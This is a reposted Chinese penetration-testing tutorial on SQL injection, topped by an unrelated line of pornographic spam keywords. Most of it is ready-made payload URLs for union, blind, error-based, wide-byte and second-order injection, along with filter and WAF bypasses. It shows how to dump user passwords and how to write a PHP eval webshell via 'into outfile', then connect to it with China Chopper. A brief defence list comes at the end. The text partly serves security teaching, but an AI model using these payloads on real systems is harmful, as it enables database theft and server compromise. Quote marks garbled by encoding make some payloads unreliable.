免费视频淫片aa毛片_日韩高清在线亚洲专区vr_日韩大片免费观看视频播放_亚洲欧美国产精品完整版

打開APP
userphoto
未登錄

開通VIP,暢享免費(fèi)電子書等14項(xiàng)超值服

開通VIP
滲透測(cè)試之SQL注入基礎(chǔ)

滲透測(cè)試之SQL注入基礎(chǔ)

SQL注入類型

按照數(shù)據(jù)類型類型來分類

  1. 數(shù)字型注入點(diǎn)

在 Web 端大概是 http://xxx.com/news.php?id=1 這種形式,其注入點(diǎn) id 類型為數(shù)字,所以叫數(shù)字型注入點(diǎn)。這一類的 SQL 語(yǔ)句原型大概為select * from 表名 where id=1。組合出來的sql注入語(yǔ)句為:select * from news where id=1 and 1=1

  1. 字符型注入點(diǎn)

在 Web 端大概是 http://xxx.com/news.php?name=admin 這種形式,其注入點(diǎn) name 類型為字符類型,所以叫字符型注入點(diǎn)。這一類的 SQL 語(yǔ)句原型大概為select * from 表名 where name='admin’。注意多了引號(hào)。組合出來的sql注入語(yǔ)句為:select * from news where chr='admin’ and 1=1 ’ ’
閉合單引號(hào)chr='admin’ union select 1,2,3,4 and '1’='1 ====>chr='admin’(閉合前面單引號(hào)) union select 1,2,3,4 and '1’='1’

  1. 搜索型注入點(diǎn)

這是一類特殊的注入類型。這類注入主要是指在進(jìn)行數(shù)據(jù)搜索時(shí)沒過濾搜索參數(shù),一般在鏈接地址中有“keyword=關(guān)鍵字”,有的不顯示在的鏈接地址里面,而是直接通過搜索框表單提交。此類注入點(diǎn)提交的 SQL 語(yǔ)句,其原形大致為:select * from 表名 where 字段 like '%關(guān)鍵字%’。組合出來的sql注入語(yǔ)句為:select * from news where search like '%測(cè)試 %’ and '%1%’=’%1%'測(cè)試%’ union select 1,2,3,4 and '%’=’

按照?qǐng)?zhí)行效果來分類(頁(yè)面回顯效果)

  1. 基于布爾的盲注,即可以根據(jù)返回頁(yè)面判斷條件真假的注入。
  2. 基于時(shí)間的盲注,即不能根據(jù)頁(yè)面返回內(nèi)容判斷任何信息,用條件語(yǔ)句查看時(shí)間延遲語(yǔ)句是否執(zhí)行(即頁(yè)面返回時(shí)間是否增加)來判斷。
  3. 基于報(bào)錯(cuò)注入,即頁(yè)面會(huì)返回錯(cuò)誤信息,或者把注入的語(yǔ)句的結(jié)果直接返回在頁(yè)面中。
  4. 聯(lián)合查詢注入,可以使用union的情況下的注入。
  5. 堆查詢注入,可以同時(shí)執(zhí)行多條語(yǔ)句的執(zhí)行時(shí)的注入。

按照數(shù)據(jù)提交的方式來分類

  1. GET 注入

提交數(shù)據(jù)的方式是 GET , 注入點(diǎn)的位置在 GET 參數(shù)部分。比如有這樣的一個(gè)鏈接http://xxx.com/news.php?id=1, id 是注入點(diǎn)。

  1. POST 注入

使用 POST 方式提交數(shù)據(jù),注入點(diǎn)位置在 POST 數(shù)據(jù)部分,常發(fā)生在表單中。

  1. Cookie 注入

HTTP 請(qǐng)求的時(shí)候會(huì)帶上客戶端的 Cookie, 注入點(diǎn)存在 Cookie 當(dāng)中的某個(gè)字段中。

  1. HTTP 頭部注入

注入點(diǎn)在 HTTP 請(qǐng)求頭部的某個(gè)字段中。比如存在 User-Agent 字段中。嚴(yán)格講的話,Cookie 其實(shí)應(yīng)該也是算頭部注入的一種形式。因?yàn)樵?HTTP 請(qǐng)求的時(shí)候,Cookie 是頭部的一個(gè)字段。

判斷注入類型的方法

  1. 數(shù)字型注入

數(shù)字型注入判斷方法有三種

1.輸入單引號(hào),不正常返回
Select * from users where id =1’ 加單引號(hào)sql語(yǔ)句本身語(yǔ)法就錯(cuò)誤了會(huì)有不正常的返回

2.輸入and 1=1,可以正常返回
Select * from users where id =1 and 1=1 符合語(yǔ)法,可以正常返回

3.輸入and 1=2,不正常的返回
Select * from users where id =1 and 1=2 邏輯錯(cuò)誤1不等于2,返回不正常

  1. 字符型注入

字符型注入判斷方法有三種

1.輸入單引號(hào),不正常返回
Select * from users where id =1’ 加單引號(hào)sql語(yǔ)句本身語(yǔ)法就錯(cuò)誤了會(huì)有不正常的返回

2.輸入’ and '1’=’1
Select * from users where id =’admin’ and '1’=’1’ 語(yǔ)法正確可以正常返回

3.輸入’ and '1’=’2
Select * from users where id =’admin’ and '1’=’2’ 邏輯錯(cuò)誤可以正常返回

MySQL注入基礎(chǔ)

MySQL需要掌握的基礎(chǔ)
1.information_schema:提供訪問數(shù)據(jù)庫(kù)元數(shù)據(jù)的方式,元數(shù)據(jù)就是是關(guān)于數(shù)據(jù)的數(shù)據(jù)
2.Information_schema:存儲(chǔ)了schemata,tables,columns三個(gè)表
3.Schema:存儲(chǔ)所有數(shù)據(jù)庫(kù)
4.Tables:存儲(chǔ)所有數(shù)據(jù)表
5.Columns:存儲(chǔ)所有列
6.MySQL系統(tǒng)庫(kù)存儲(chǔ)數(shù)據(jù)庫(kù)的用戶,權(quán)限設(shè)置,關(guān)鍵字
7.MySQL是關(guān)系型數(shù)據(jù)庫(kù)

聯(lián)合查詢注入

1.union用于合并兩個(gè)或多個(gè)語(yǔ)句的結(jié)果集,并去除重復(fù)的行

2.order by 按一個(gè)或多個(gè)字段排序 可以用字段在列表中的位置號(hào)來代替字段名,比如username在列表的第2列 可以用order by 2 這就是為什么order by 可以用來判斷列數(shù)

3.添加and 1=2的原因是因?yàn)榻?jīng)過聯(lián)合查詢返回多條數(shù)據(jù)多數(shù)應(yīng)用只返回查詢到的第一條結(jié)果聯(lián)合查詢的其他結(jié)果不會(huì)被顯示
4.
concat():用于直接連接字符串concat('11’,’12’,’13’) 效果111213
group_concat(str1,str2) 用逗號(hào)連接 效果11,12,13
concat_ws(seq,str1.str2)用seq指定的字符來分割1,2
mysql注釋符 # # – /**/
5.
萬能密碼:
username :admin’ or '1’='1# ' or '1’=’1#

password :*******(隨意輸入)

單引號(hào)閉合則可以用 -- 來注釋掉后面的 ’

MySQL聯(lián)合查詢需要掌握的基礎(chǔ)函數(shù)

函數(shù)作用
user()–當(dāng)前用戶名
database()–當(dāng)前數(shù)據(jù)庫(kù)庫(kù)名
version()–獲取當(dāng)前版本
@@datadir–數(shù)據(jù)庫(kù)路徑
@@version_compile_os–操作系統(tǒng)版本
load_file()–讀取文件
into outfile()/into dumpfile()寫入文件
concat()–直接連接
group_concat()–使用逗號(hào)作為分隔符
concat_ws()–使用指定符號(hào)作為分割符

聯(lián)合注入過程(數(shù)字型)

1.判斷注入點(diǎn)
http://www.ctfs-wiki.com/index.php?id =1’ 報(bào)錯(cuò)
http://www.ctfs-wiki.com/index.php?id =1 and 1=1 正常
http://www.ctfs-wiki.com/index.php?id =1 and 1=2 不正常

2.判斷列數(shù)
http://www.ctfs-wiki.com/index.php?id =1 order by 1

3.判斷顯示位
http://www.ctfs-wiki.com/index.php?id =1 and 1=2 union select 1,2,3
http://www.ctfs-wiki.com/index.php?id =-1 union select 1,2,3

4.獲取當(dāng)前數(shù)據(jù)庫(kù)
http://www.ctfs-wiki.com/index.php?id =1 and 1=2 union select 1,2,database()

5.獲取數(shù)據(jù)庫(kù)中的表名
http://www.ctfs-wiki.com/index.php?id =1 and 1=2 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=’security’

6.獲取數(shù)據(jù)庫(kù)的列名
http://www.ctfs-wiki.com/index.php?id =1 and 1=2 union select 1,2,group_concat(column_name) from information_schema.columns where table_name=’users’ and table_schema=’security’

8.獲取數(shù)據(jù)表中的數(shù)據(jù)
http://www.ctfs-wiki.com/index.php?id =1 and 1=2 union select 1,2,group_concat(username,’ ’,password) from security.users

布爾注入

Bool注入沒有任何報(bào)錯(cuò)信息,頁(yè)面只有正常和不正常兩種結(jié)果

函數(shù)描述
Length()返回字符串的長(zhǎng)度
Substr(字段名,A,N)截取字符串
ascii()返回字符的ascii碼
limit(0,1)從0行開始,向后取1行數(shù)據(jù)
ord()函數(shù)可以返回單個(gè)字符的ASCII碼

布爾注入過程 (bool)

1.在參數(shù)后添加引號(hào)嘗試報(bào)錯(cuò),并用and 1=1#和and 1=2#測(cè)試報(bào)錯(cuò)
?id=1’ and 1=1# 頁(yè)面返回正常
?id=1’ and 1=2# 頁(yè)面返回不正常

2.判斷數(shù)據(jù)庫(kù)名的長(zhǎng)度
1’ and length(database())>=11– 頁(yè)面返回正常
1’ and length(database())>=13– 頁(yè)面返回正常
1’ and length(database())>=14– 頁(yè)面返回錯(cuò)誤
由此判斷得到數(shù)據(jù)庫(kù)名的長(zhǎng)度是13個(gè)字符

3.猜解數(shù)據(jù)庫(kù)名
使用逐字符判斷的方式獲取數(shù)據(jù)庫(kù)名;數(shù)據(jù)庫(kù)名的范圍一般在az、09之內(nèi),可能還會(huì)有特殊字符 “_”、”-“ 等,這里的字母不區(qū)分大小寫。

’ and substr(database(),1,1)='a’–
’ and substr(database(),2,1)='a’–

substr 的用法和 limit 有區(qū)別,limit從 0 開始排序,這里從 1 開始排序。
用Burp爆破字母a的位置,即可得到數(shù)據(jù)庫(kù)名每個(gè)位置上的字符。

還可以用ASCII碼查詢
a 的ASCII碼是97,在MySQL中使用ord函數(shù)轉(zhuǎn)換ASCII,所以逐字符判斷語(yǔ)句可改為:
’ and ord(substr(database(),1,1))=97–

4、判斷數(shù)據(jù)庫(kù)表名
’ and substr((select table_name from information_schema.tables where table_schema='數(shù)據(jù)庫(kù)名’ limit 0,1),1,1)='a’–

–修改1,1前邊的1~20,逐字符猜解出第一個(gè)表的名
–修改limit的0,1前邊的0~20,逐個(gè)猜解每個(gè)表

5、判斷數(shù)據(jù)庫(kù)字段名

’ and substr((select column_name from information_schema.columns where table_schema='數(shù)據(jù)庫(kù)名’ and table_name='表名’ limit 0,1),1,1)='a’–

–修改1,1前邊的1~20,逐字符猜解出第一個(gè)字段的名
–修改limit的0,1前邊的0~20,逐個(gè)猜解每個(gè)字段

6、取數(shù)據(jù)

’ and substr((select 字段名 from 表名 limit 0,1),1,1)='a’–
如果嫌用Burp慢的話,可以自己編寫腳本,修改payload即可

時(shí)間盲注注入

Sleep注入沒有任何報(bào)錯(cuò)信息,頁(yè)面返回不管對(duì)或者錯(cuò)都只用有一種狀態(tài),無法通過頁(yè)面返回狀態(tài)判斷SQL語(yǔ)句是否正確,只能構(gòu)造sleep語(yǔ)句判斷返回時(shí)間
Sleep()函數(shù)可以是執(zhí)行掛起一段時(shí)間 select sleep(3) 執(zhí)行了3秒
If(exp1,exp2,exp3)類似三元運(yùn)算符,如果exp1為真返回exp2,為假則返回exp3

sleep注入過程

1、判斷注入類型
?id=1’ and sleep(5)# 延遲
?id=1 and sleep(5)# 沒有延遲

?id=1’ and sleep(5) and 1=1– 頁(yè)面返回不正常,延時(shí)5秒
?id=1’ and sleep(5) and 1=2– 頁(yè)面返回不正常,不延時(shí)

2、利用sleep判斷數(shù)據(jù)庫(kù)名長(zhǎng)度
' and if(length(database())>1,sleep(5),1)
–if(條件表達(dá)式,真,假) --C語(yǔ)言的三目運(yùn)算符類似

3、獲取數(shù)據(jù)庫(kù)名
and if(substr(database(),1,1)='a’,sleep(5),1)–
具體數(shù)據(jù)以此類推即可。

報(bào)錯(cuò)注入

報(bào)錯(cuò)注入原理

updatexml報(bào)錯(cuò)注入的一種利用updatexml第二個(gè)參數(shù)xpath_string的報(bào)錯(cuò)進(jìn)行注入,xpath_string是xml文檔路徑,格式是/xxx/xxx/xxx/,格式不正確就會(huì)報(bào)錯(cuò)

updatexml函數(shù)介紹

Updatexml(XML_document,XPath_string,new_value)
XML_document 是string型數(shù)據(jù),是目標(biāo)xml文檔的文件格式
XPath_string是xml文檔的路徑
New_value是string型數(shù)據(jù),用于替換查找到的符合條件的數(shù)據(jù)
Updatexml(dco,’/book/author/initial’,’ctfa03’)

報(bào)錯(cuò)注入函數(shù)

函數(shù)描述
updatexml()修改查詢到的內(nèi)容
extractvalue()–查詢節(jié)點(diǎn)內(nèi)容
floor()返回小于等于該值的最大整數(shù)

updatexml報(bào)錯(cuò)注入過程

1、嘗試用單引號(hào)報(bào)錯(cuò)
2、獲取數(shù)據(jù)庫(kù)名
and updatexml(1,concat(0x7e,(select database()),0x7e),1)–
–0x7e是"~"符號(hào)的16進(jìn)制,在這作為分隔符

3、獲取表名
’ and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='數(shù)據(jù)庫(kù)名’ limit 0,1),0x7e),1)–

4、獲取字段名
’ and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema='數(shù)據(jù)庫(kù)名’ and table_name='表名’ limit 0,1),0x7e),1)–

5、取數(shù)據(jù)
’ and updatexml(1,concat(0x7e,(select concat(username,0x3a,password) from users limit 0,1),0x7e),1)–

extractvalue報(bào)錯(cuò)注入過程
Extractvalue 函數(shù)可以對(duì)xml文檔進(jìn)行查詢是報(bào)錯(cuò)的一種注入,原理也是通過XPath_string路徑格式錯(cuò)誤觸發(fā)報(bào)錯(cuò)

1.獲取數(shù)據(jù)庫(kù)的名字
http://www.ctfs-wiki.com/index.php?id=1 and extractvalue(1,concat(0x7e,(database())),0)#

2.獲取數(shù)據(jù)表的名字
http://www.ctfs-wiki.com/index.php?id=1 and extractvalue(1,concat(0x23,(select table_name from information_schema.tables where table_schema='security’ limit 0,1)),0)#

3.獲取數(shù)據(jù)表列的名字
http://www.ctfs-wiki.com/index.php?id=1 and extractvalue(1,concat(0x23,(select column_name from information_schema.columns where table_schema='security’ limit 1,1)),0)#

4.獲取數(shù)據(jù)庫(kù)數(shù)據(jù)
http://www.ctfs-wiki.com/index.php?id=1 and extractvalue(1,concat(0x23,(select password from security.users limit 0,1)),1)

floor報(bào)錯(cuò)注入的過程
Floor是報(bào)錯(cuò)注入的一種方式,主要原因是rand和group by 分組一起使用,rand函數(shù)會(huì)計(jì)算多次導(dǎo)致報(bào)錯(cuò)
Floor函數(shù)floor(x)返回不大于x的最大整數(shù)值floor(1.4)返回1
Rand()返回0-1之間的隨機(jī)數(shù) --主鍵重復(fù)(duplicate entry)
floor() --返回小于等于該值的最大整數(shù)
只要是count,rand(),group by 三個(gè)連用就會(huì)造成這種主鍵重復(fù)報(bào)錯(cuò)

1.獲取數(shù)據(jù)庫(kù)的名字
http://www.ctfs-wiki.com/index.php?id =1 and (select 1 from (select count(*),concat(database(),floor(rand()*2))x from information_schema.tables group by x)a)

2.獲取數(shù)據(jù)表的名字
http://www.ctfs-wiki.com/index.php?id =1 and (select 1 from (select count(*),concat((select(table_name) from information_schema.tables where table_schema=database() limit 0,1),floor(rand()*2))x from information_schema.tables group by x)a)

3.獲取數(shù)據(jù)表列的名字
http://www.ctfs-wiki.com/index.php?id =1 and (select 1 from (select count(*),concat((select(columns_name) from information_schema.columns where table_name=’users’ and table_schema=database() limit 0,1),floor(rand()*2))x from information_schema.tables group by x)a)

4.獲取數(shù)據(jù)庫(kù)的數(shù)據(jù)
http://www.ctfs-wiki.com/index.php?id =1 and (select 1 from (select count(*),concat((selectusername from cms.user limit 0,1),floor(rand()*2))x from information_schema.tables group by x)a)

寬字節(jié)注入

注入原理
Addslashes等函數(shù)對(duì)輸入進(jìn)行過濾,效果?id=’1\’ 單引號(hào)被轉(zhuǎn)義,無法閉合,寬字符注入的原理是數(shù)據(jù)庫(kù)使用GBK編碼,輸入的第一個(gè)字符ascii碼大于128,就會(huì)被認(rèn)為前兩個(gè)字符是一個(gè)漢字,效果?id=’1?\’,?和\會(huì)組成漢字乘,效果?id=’1 乘’閉合成功不一定要?,大于?的編碼都可以

1.獲取當(dāng)前數(shù)據(jù)庫(kù)

http://192.168.91.142/sqli/02.php?id=1’ and 1=2 union select 1,concat_ws(char(32,58,32),user(),database(),version()),3#

后臺(tái)處理語(yǔ)句:

Select * from user where id=’1\’ and 1=2union select 1,concat_ws(char(32,58,32),user(),database(),version()),3 #

寬字節(jié)注入

http://192.168.91.142/sqli/02.php?id=1?’ and 1=2 union select 1,concat_ws(char(32,58,32),user(),database(),version()),3 #

后臺(tái)處理語(yǔ)句

Select * from user where id=’1乘’ and 1=2 union select 1,concat_ws(char(32,58,32),user(),database(),version()),3 #

2.獲取數(shù)據(jù)庫(kù)的表名

http://192.168.91.142/sqli/02.php?id=1?’ and 1=2 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=’cms’ #

單引號(hào)被轉(zhuǎn)義語(yǔ)法錯(cuò)誤將數(shù)據(jù)庫(kù)名字轉(zhuǎn)換十六進(jìn)制

http://192.168.91.142/sqli/02.php?id=1?’ and 1=2 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=0x6374667377696b69 #

3.獲取數(shù)據(jù)庫(kù)列名

http://192.168.91.142/sqli/02.php?id=1?’ and 1=2 union select 1,group_concat(columns_name),3 from information_schema.columns where table_name=0x75736572 and table_schema=0x6374667377696b69 #

4.獲取數(shù)據(jù)庫(kù)數(shù)據(jù)

http://192.168.91.142/sqli/02.php?id=1?’ and 1=2 union select 1,group_concat(username,0x2a2a2a,password),3 from user#

Addslashes等函數(shù)對(duì)輸入進(jìn)行過濾,效果?id=’1\’ 單引號(hào)被轉(zhuǎn)義,無法閉合,寬字符注入的原理是數(shù)據(jù)庫(kù)使用GBK編碼,使用?\會(huì)組成一個(gè)繁體字,導(dǎo)致單引號(hào)逃逸,?’ and 1=1 ?’ order by 4

二次注入

二次注入原理就是第一次在參數(shù)中輸入惡意數(shù)據(jù)1’時(shí)被addslashes過濾,在執(zhí)行時(shí)被\轉(zhuǎn)義但是存入數(shù)據(jù)庫(kù)中時(shí)\不會(huì)存入,1’單引號(hào)被存入數(shù)據(jù)庫(kù),這樣下次查詢時(shí)如果沒有過濾,1’可以直接拼接到SQL語(yǔ)句中執(zhí)行

1.注冊(cè)在用戶名處輸入ctfs’ or updatexml(1,concat(0x7e,(verision())),0)#

2.在密碼找回處輸入郵箱查詢觸發(fā)二次注入

堆疊注入

偏移注入

DNSlog注入

注入寫webshell


1.1第一步,判斷是否存在SQL注入,我們輸入http://www.any.com/sqli/Less-7/?id=1,發(fā)現(xiàn)頁(yè)面返回正常。

1.2加入單引號(hào),輸入www.any.com/sqli/Less-7/?id=1’,此時(shí)發(fā)現(xiàn)頁(yè)面返回不正常,報(bào)錯(cuò),這是我們判斷此處存在SQL注入

1.3此時(shí)我們來判斷閉合字符輸入http://www.any.com/sqli/Less-7/?id=1’ and 1=1 #,回顯不正常

輸入http://www.any.com/sqli/Less-7/?id=1’) and 1=1 #,回顯不正常

輸入http://www.any.com/sqli/Less-7/?id=1’)) and 1=1 #,回顯正常

輸入http://www.any.com/sqli/Less-7/?id=1’)) and 1=2 #,回顯不正常

1.4這是我們就要利用以上所學(xué)知識(shí)寫入一句話木馬文件,我們輸入:
http://www.any.com/sqli/Less-7/?id=1’)) union select 1,'2’,’<?php @eval($_POST[a]);?>’ into outfile 'c:/www/2.php’#,雖然顯示報(bào)錯(cuò),但其實(shí)我們還是寫了進(jìn)去。

1.5此時(shí),我們上中國(guó)菜刀工具,右擊點(diǎn)擊空白處,選擇添加,在對(duì)話框中輸入http://www.any.com/2.php,密碼填寫a,點(diǎn)擊添加即可獲取shell。

1.6下面進(jìn)行讀取文件,我們輸入:http://www.any.com/sqli/Less-7/?id=1’)) union select 1,2,load_file(“C:/WWW/2.php”) into outfile 'C:/WWW/3.php’#,雖然報(bào)錯(cuò)了,但是我們還是讓它讀取到了2.php里的內(nèi)容,然后讓它以3.php寫入了進(jìn)去
|

9.Sql注入拿shell的方法

MySQL注入繞過

在開發(fā)程序中會(huì)通過關(guān)鍵字過濾的方式過濾SQL注入,可以通過編碼大小寫混寫等價(jià)函數(shù)繞過

空格繞過(過濾空過)

1.使用MySQL的注釋符//繞過空格 space2comment.py
http://www.ctfs-wiki.com/index.asp?Id=1/
/and//1=2//union//select//1,2database()

2.制表符繞過空格
http://www.ctfs-wiki.com/index.asp?Id=1and1=2unionselect1,2database()

3.換行符 繞過
http://www.ctfs-wiki.com/index.asp?Id=1 and 1=2 union select 1,2database()

4.括號(hào)繞過 mysql的特性id=1=1
http://www.ctfs-wiki.com/index.asp?Id=1=(ascii(mid(database() from (1)))=99)

5.反引號(hào)`繞過

關(guān)鍵字過濾

6.內(nèi)聯(lián)注釋/!../繞過 randomcomments.py 使用/**/分割關(guān)鍵字
http://www.ctfs-wiki.com/index.asp?Id=1 and 1=2/!union//!select/1,2database()

7.大小寫?zhàn)堖^
http://www.ctfs-wiki.com/index.asp?Id=1 and 1=2 union seleCt 1,2,database()

8.雙寫關(guān)鍵字繞過
http://www.ctfs-wiki.com/index.asp?Id=1 and 1=2 union seselectlect 1,2,database()

9.雙重URL編碼繞過 chardoubleencode.py 單次編碼charencode.py
http://www.ctfs-wiki.com/index.asp?Id=1 and 1=2 union se%6cect 1,2,database()

10.十六進(jìn)制編碼繞過
http://192.168.91.142/sqli/02.php?id=1?’ and 1=2 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=0x6374667377696b69 #

11.unicode編碼繞過IIS識(shí)別 charunicodeencode.py
http://www.ctfs-wiki.com/News.asp?SortID=1&ItemID=46 and 0 < (select top 1 name from sys.databases)

12.ascii編碼繞過單引號(hào)被轉(zhuǎn)義的情況 的url編碼為+
http://www.ctfs-wiki.com/News.asp?SortID=1&ItemID=46 and 0 < (select top 1 name from sec.dbo.sysobjects where xtype=’U’ and name not in(char(101) char(105) char(109) char(115) char(95) char(67) char(97) char(115) char(101) char(80) char(114) char(111)))

13.like或in 代替 = equaltolike.py
http://www.ctfs-wiki.com/News.asp?SortID=1 and 1 like 1

14from for繞過逗號(hào)
Select substr(database(),1,1)
Select substr(database()from 1 for 1)

15等價(jià)函數(shù)sleep=benchmark函數(shù) ascii=hex 函數(shù),bin函數(shù),group_concat=concat_ws,updatexml=extractvalue

SQL注入繞WAF

MySQL注入的防御措施

下面這些建議或許對(duì)防治SQL注入有一定的幫助:

  1. 嚴(yán)格限制Web應(yīng)用的數(shù)據(jù)庫(kù)的操作權(quán)限,給此用戶提供僅僅能夠滿足其工作的最低權(quán)限,從而最大限度的減少注入攻擊對(duì)數(shù)據(jù)庫(kù)的危害。
  2. 檢查輸入的數(shù)據(jù)對(duì)進(jìn)入數(shù)據(jù)庫(kù)的特殊字符(’”尖括號(hào)&*;等)進(jìn)行轉(zhuǎn)義處理,或編碼轉(zhuǎn)換。
  3. 關(guān)鍵字過濾:對(duì)每個(gè)參數(shù)的傳遞進(jìn)行檢測(cè),對(duì)其進(jìn)行sql關(guān)鍵字過濾如(select insert where)建議采用正則檢測(cè)和遞歸過濾
  4. 所有的查詢語(yǔ)句建議使用數(shù)據(jù)庫(kù)提供的參數(shù)化查詢接口,參數(shù)化的語(yǔ)句使用參數(shù)而不是將用戶輸入變量嵌入到SQL語(yǔ)句中。
  5. 避免網(wǎng)站打印出SQL錯(cuò)誤信息,比如類型錯(cuò)誤、字段不匹配等,把代碼里的SQL語(yǔ)句暴露出來,以防止攻擊者利用這些錯(cuò)誤信息進(jìn)行SQL注入。
  6. 在應(yīng)用發(fā)布之前建議使用專業(yè)的SQL注入檢測(cè)工具進(jìn)行檢測(cè), 以及時(shí)修補(bǔ)被發(fā)現(xiàn)的SQL注入漏洞。網(wǎng)上有很多這方面的開源工具,例如sqlmap、SQLninja等。

文章有多處摘自網(wǎng)上其他文章,如有侵權(quán)聯(lián)系我

來源:https://www.icode9.com/content-2-887951.html
本站僅提供存儲(chǔ)服務(wù),所有內(nèi)容均由用戶發(fā)布,如發(fā)現(xiàn)有害或侵權(quán)內(nèi)容,請(qǐng)點(diǎn)擊舉報(bào)。
打開APP,閱讀全文并永久保存 查看更多類似文章
猜你喜歡
類似文章
sqli-labs學(xué)習(xí)(less-5-less-7)
mysql注入總結(jié)
部分sql注入總結(jié)
SQL注入繞過安全狗
MySQL手工注入學(xué)習(xí)-1
SQLi-LABS Page-3 (order by injections) Less-46-Less-53
更多類似文章 >>
生活服務(wù)
分享 收藏 導(dǎo)長(zhǎng)圖 關(guān)注 下載文章
綁定賬號(hào)成功
后續(xù)可登錄賬號(hào)暢享VIP特權(quán)!
如果VIP功能使用有故障,
可點(diǎn)擊這里聯(lián)系客服!

聯(lián)系客服